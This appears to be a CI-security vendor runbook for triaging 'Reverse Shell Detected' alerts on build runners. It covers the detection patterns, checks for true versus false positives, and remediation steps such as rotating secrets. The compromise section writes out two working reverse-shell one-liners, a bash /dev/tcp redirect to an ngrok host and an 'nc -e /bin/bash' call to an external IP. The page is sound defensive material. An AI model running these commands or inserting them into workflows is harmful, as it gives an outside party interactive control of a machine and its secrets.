Triaging Reverse Shell
You received a Reverse Shell Detected detection. A process on the runner combined a shell with an outbound network connection in a way that looks like an interactive shell being proxied to a remote host. A real reverse shell gives an attacker live, interactive control of the runner, including access to the workflow's secrets. A small number of legitimate workflows (security tests, connectivity probes) produce the same signal. Use this runbook to decide which case you have.
How it's detected
The Harden-Runner agent inspects process events on CI runners and flags two patterns:
A
nc,ncat, ornetcatinvocation that pairs-ewithbashor/bin/bash.A
bashorshinvocation whose arguments reference/dev/tcp/<host>/<port>where the host is not a loopback address.
Triage
Likely a compromise (true positive)
A build step spawns something like:
bash -c "bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/12285 0>&1"or:
nc -e /bin/bash 203.0.113.5 4444This is a tampered dependency or compromised action establishing an interactive shell to an attacker-controlled host. Treat the detection as a confirmed compromise unless you can clearly identify the command as something a workflow author intentionally added.
Actions to take:
Identify the parent process and the workflow step that spawned the shell.
Trace the spawning code back to a specific dependency, action, or commit.
Rotate every secret the affected workflows had access to, including
GITHUB_TOKEN.Audit downstream activity (branches, releases, issues, package publishes) made during the affected runs.
Block the offending action or dependency, and check the Threat Center for related advisories.
Consider enabling Lockdown Mode for Reverse Shell so future occurrences terminate the job automatically.
Likely benign (false positive)
A security or pentest workflow, or a connectivity-test script, may invoke the same nc -e or /dev/tcp pattern against an external host on purpose. The syntax is identical to a real reverse shell, so the detection fires even though the workflow author added it deliberately.
Before treating the detection as benign, verify all of the following:
The command is in code you control and was added by an author you trust.
The destination host is one your team owns or has authorized (a sanctioned pentest target, an internal connectivity probe).
The workflow's stated purpose involves this kind of test.
No other suspicious activity (memory reads, source code overwrites, anomalous outbound calls) occurred in the same run.
If all checks pass, suppress the detection with the reason "Authorized security test."
Next steps
If confirmed compromise: rotate secrets immediately and follow your incident response process. Resolve the detection once remediation is complete.
If false positive: suppress per How to Suppress a Detection. For recurring authorized tests, consider scoping the workflow to a dedicated repository where the suppression context is obvious.
If uncertain: rotate secrets defensively and escalate to your security team.
Last updated
Was this helpful?